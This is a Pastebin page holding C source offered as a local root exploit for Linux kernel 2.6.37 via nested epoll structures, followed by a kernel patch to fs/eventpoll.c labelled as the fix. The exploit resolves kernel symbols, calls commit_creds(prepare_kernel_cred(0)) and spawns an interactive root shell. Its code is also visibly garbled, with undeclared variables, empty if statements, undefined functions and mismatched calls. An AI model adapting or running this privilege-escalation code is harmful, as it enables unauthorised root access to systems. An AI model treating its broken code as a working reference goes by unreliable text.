Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Linux kernel 2.6.37 epoll() local exploit
- #include <stdlib.h>
- #include <fcntl.h>
- #include <sys/epoll.h>
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/utsname.h>
- #include <errno.h>
- #include <string.h>
- #define SIZE 250
- #define RECV 51144
- #define SEND 61133
- typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
- typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
- _commit_creds commit_creds;
- _prepare_kernel_cred prepare_kernel_cred;
- int __attribute__((regparm(3)))
- getroot(void * file, void * vma) {
- commit_creds(prepare_kernel_cred(0));
- return -1;
- }
- unsigned long get_kernel_sym(char *name) {
- FILE *f;
- unsigned long addr;
- char dummy;
- char sname[256];
- int ret;
- f = fopen("/proc/kallsyms", "r");
- if (f == NULL) {
- f = fopen("/proc/ksyms", "r");
- if (f == NULL) {
- fprintf(stdout, "[-] Unable to obtain symbol listing!\n");
- exit(0);
- }
- }
- ret = 0;
- while(ret != EOF) {
- ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
- if (ret == 0) {
- fscanf(f, "%s\n", sname);
- continue;
- }
- if (!strcmp(name, sname)) {
- fprintf(stdout, " [+] Resolved: %s to: %p\n", name, (void *)addr);
- fclose(f);
- return addr;
- }
- }
- fclose(f);
- return 0;
- }
- void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) {
- if(!fork()) {
- sleep(1);
- send_message(value, sendsock);
- exit(1);
- } else {
- get_message(addr, recvsock);
- wait(NULL);
- }
- }
- int prep_sock(int port) {
- int s, ret;
- struct sockaddr_in addr;
- s = socket(PF_INET, SOCK_DGRAM, 0);
- if(s < 0) {
- printf("[*] Couldnt open socket.\n");
- exit(-1);
- }
- memset(&addr, 0, sizeof(addr));
- addr.sin_addr.s_addr = inet_addr("localhost");
- addr.sin_family = AF_INET;
- addr.sin_port = htons(port);
- ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
- if(ret < 0) {
- printf("[*] Could not bind socket udp().\n");
- exit(-1);
- }
- return s;
- }
- int main(int argc, char * argv[]) {
- int s, ret;
- printf("[!!] Linux kernel 2.6.37 mutiple exploit~leverages 3 deep~\n");
- printf("[+] Starting level1 (sendmsg/the_rebel())...\n");
- unsigned long sock,target;
- int sendsock, recvsock;
- struct utsname ver;
- struct timeval start, end;
- struct sockaddr_in recv;
- struct msghdr msg;
- struct iovec iov;
- unsigned long buf;
- s = socket(PF_INET, SOCK_DGRAM, 17);
- sock = get_kernel_sym("proto_ops"); // therebel
- commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
- sendsock = prep_sock(SEND);
- recvsock = prep_sock(RECV);
- printf("[*] Resolving kernel addresses..\n");
- prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
- if(!sock || !commit_creds || !prepare_kernel_cred) {
- printf("[*] Failed to resolve kernel_symbols.\n");
- return -1;
- }
- ret = bind(s, (struct sockaddr *)&recv, sizeof(recv));
- memset(&recv, 0, sizeof(recv));
- size = sizeof(recv);
- recv.sin_port = htons(RECV);
- recv.sin_family = AF_INET;
- recv.sin_addr.s_addr = inet_addr("localhost");
- memset(&msg, 0, sizeof(msg));
- msg.msg_name = &recv;
- msg.msg_namelen = sizeof(recv);
- msg.msg_iovlen = 1;
- buf = value;
- iov.iov_len = sizeof(buf);
- iov.iov_base = &buf;
- msg.msg_iov = &iov;
- ret = sendmsg(sock, &msg, 0);
- if(ret < 0) {
- printf("[-] Something went wrong sending!\n");
- exit(-1);
- }
- printf("[+] Starting (epoll)...\n");
- int links[SIZE];
- int links2[SIZE];
- int links3[SIZE];
- int links4[SIZE];
- int i, j;
- int ret;
- int ep1, ep2;
- target = sock + 9*sizeof(void *);
- struct epoll_event evt = {
- .events = EPOLLIN
- };
- for (i = 0; i < SIZE; i++) {
- links[i] = epoll_create(1);
- ret = epoll_ctl(ep1, EPOLL_CTL_ADD, links[i], &evt);
- if (ret)
- }
- for (i = 0; i < SIZE; i++) {
- links2[i] = epoll_create(1);
- for (j = 0; j < SIZE; j++) {
- epoll_ctl(links[j], EPOLL_CTL_ADD, links2[i], &evt);
- if (ret)
- }
- }
- for (i = 0; i < SIZE; i++) {
- links3[i] = epoll_create(1);
- for (j = 0; j < SIZE; j++) {
- epoll_ctl(links2[j], EPOLL_CTL_ADD, links3[i], &evt);
- if (ret)
- }
- }
- for (i = 0; i < SIZE; i++) {
- links4[i] = epoll_create(1);
- for (j = 0; j < SIZE; j++) {
- epoll_ctl(links3[j], EPOLL_CTL_ADD, links4[i], &evt);
- if (ret)
- }
- }
- ep1 = epoll_create(1);
- gettimeofday(&start, NULL);
- ret = write_to_mem(EPOLL_CTL_ADD);
- if (ret)
- gettimeofday(&end, NULL);
- printf("[*] Got root!\n");
- execl("/bin/sh", "/bin/sh", "-i", NULL);
- }
- return 0;
- }
- //SOLUTION: Apply patch below
- /*
- //Patch:
- diff --git a/fs/eventpoll.c b/fs/eventpoll.c
- index 4a09af9..ea74bc9 100644
- --- a/fs/eventpoll.c
- +++ b/fs/eventpoll.c
- @@ -95,6 +95,9 @@ struct epoll_filefd {
- int fd;
- };
- +/* used to keep track of visited nodes, so they can be cleared */
- +LIST_HEAD(visited_list);
- +
- /*
- * Structure used to track possible nested calls, for too deep recursions
- * and loop cycles.
- @@ -188,6 +191,10 @@ struct eventpoll {
- /* The user that created the eventpoll descriptor */
- struct user_struct *user;
- +
- + /* used to optimize loop detection check */
- + int visited;
- + struct list_head visitedllink;
- };
- /* Wait structure used by the poll hooks */
- @@ -1228,16 +1235,22 @@ static int ep_loop_check_proc(void *priv, void *cookie, int call_nests)
- int error = 0;
- struct file *file = priv;
- struct eventpoll *ep = file->private_data;
- + struct eventpoll *ep_tovisit;
- struct rb_node *rbp;
- struct epitem *epi;
- mutex_lock(&ep->mtx);
- + ep->visited = 1;
- + list_add(&ep->visitedllink, &visited_list);
- for (rbp = rb_first(&ep->rbr); rbp; rbp = rb_next(rbp)) {
- epi = rb_entry(rbp, struct epitem, rbn);
- if (unlikely(is_file_epoll(epi->ffd.file))) {
- + ep_tovisit = epi->ffd.file->private_data;
- + if (ep_tovisit->visited)
- + continue;
- error = ep_call_nested(&poll_loop_ncalls, EP_MAX_NESTS,
- ep_loop_check_proc, epi->ffd.file,
- - epi->ffd.file->private_data, current);
- + ep_tovisit, current);
- if (error != 0)
- break;
- }
- @@ -1260,8 +1273,17 @@ static int ep_loop_check_proc(void *priv, void *cookie, int call_nests)
- */
- static int ep_loop_check(struct eventpoll *ep, struct file *file)
- {
- - return ep_call_nested(&poll_loop_ncalls, EP_MAX_NESTS,
- + int ret;
- + struct eventpoll *ep_cur, *ep_next;
- +
- + ret = ep_call_nested(&poll_loop_ncalls, EP_MAX_NESTS,
- ep_loop_check_proc, file, ep, current);
- + /* clear visited list */
- + list_for_each_entry_safe(ep_cur, ep_next, &visited_list, visitedllink) {
- + ep_cur->visited = 0;
- + list_del(&ep_cur->visitedllink);
- + }
- + return ret;
- }
- */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement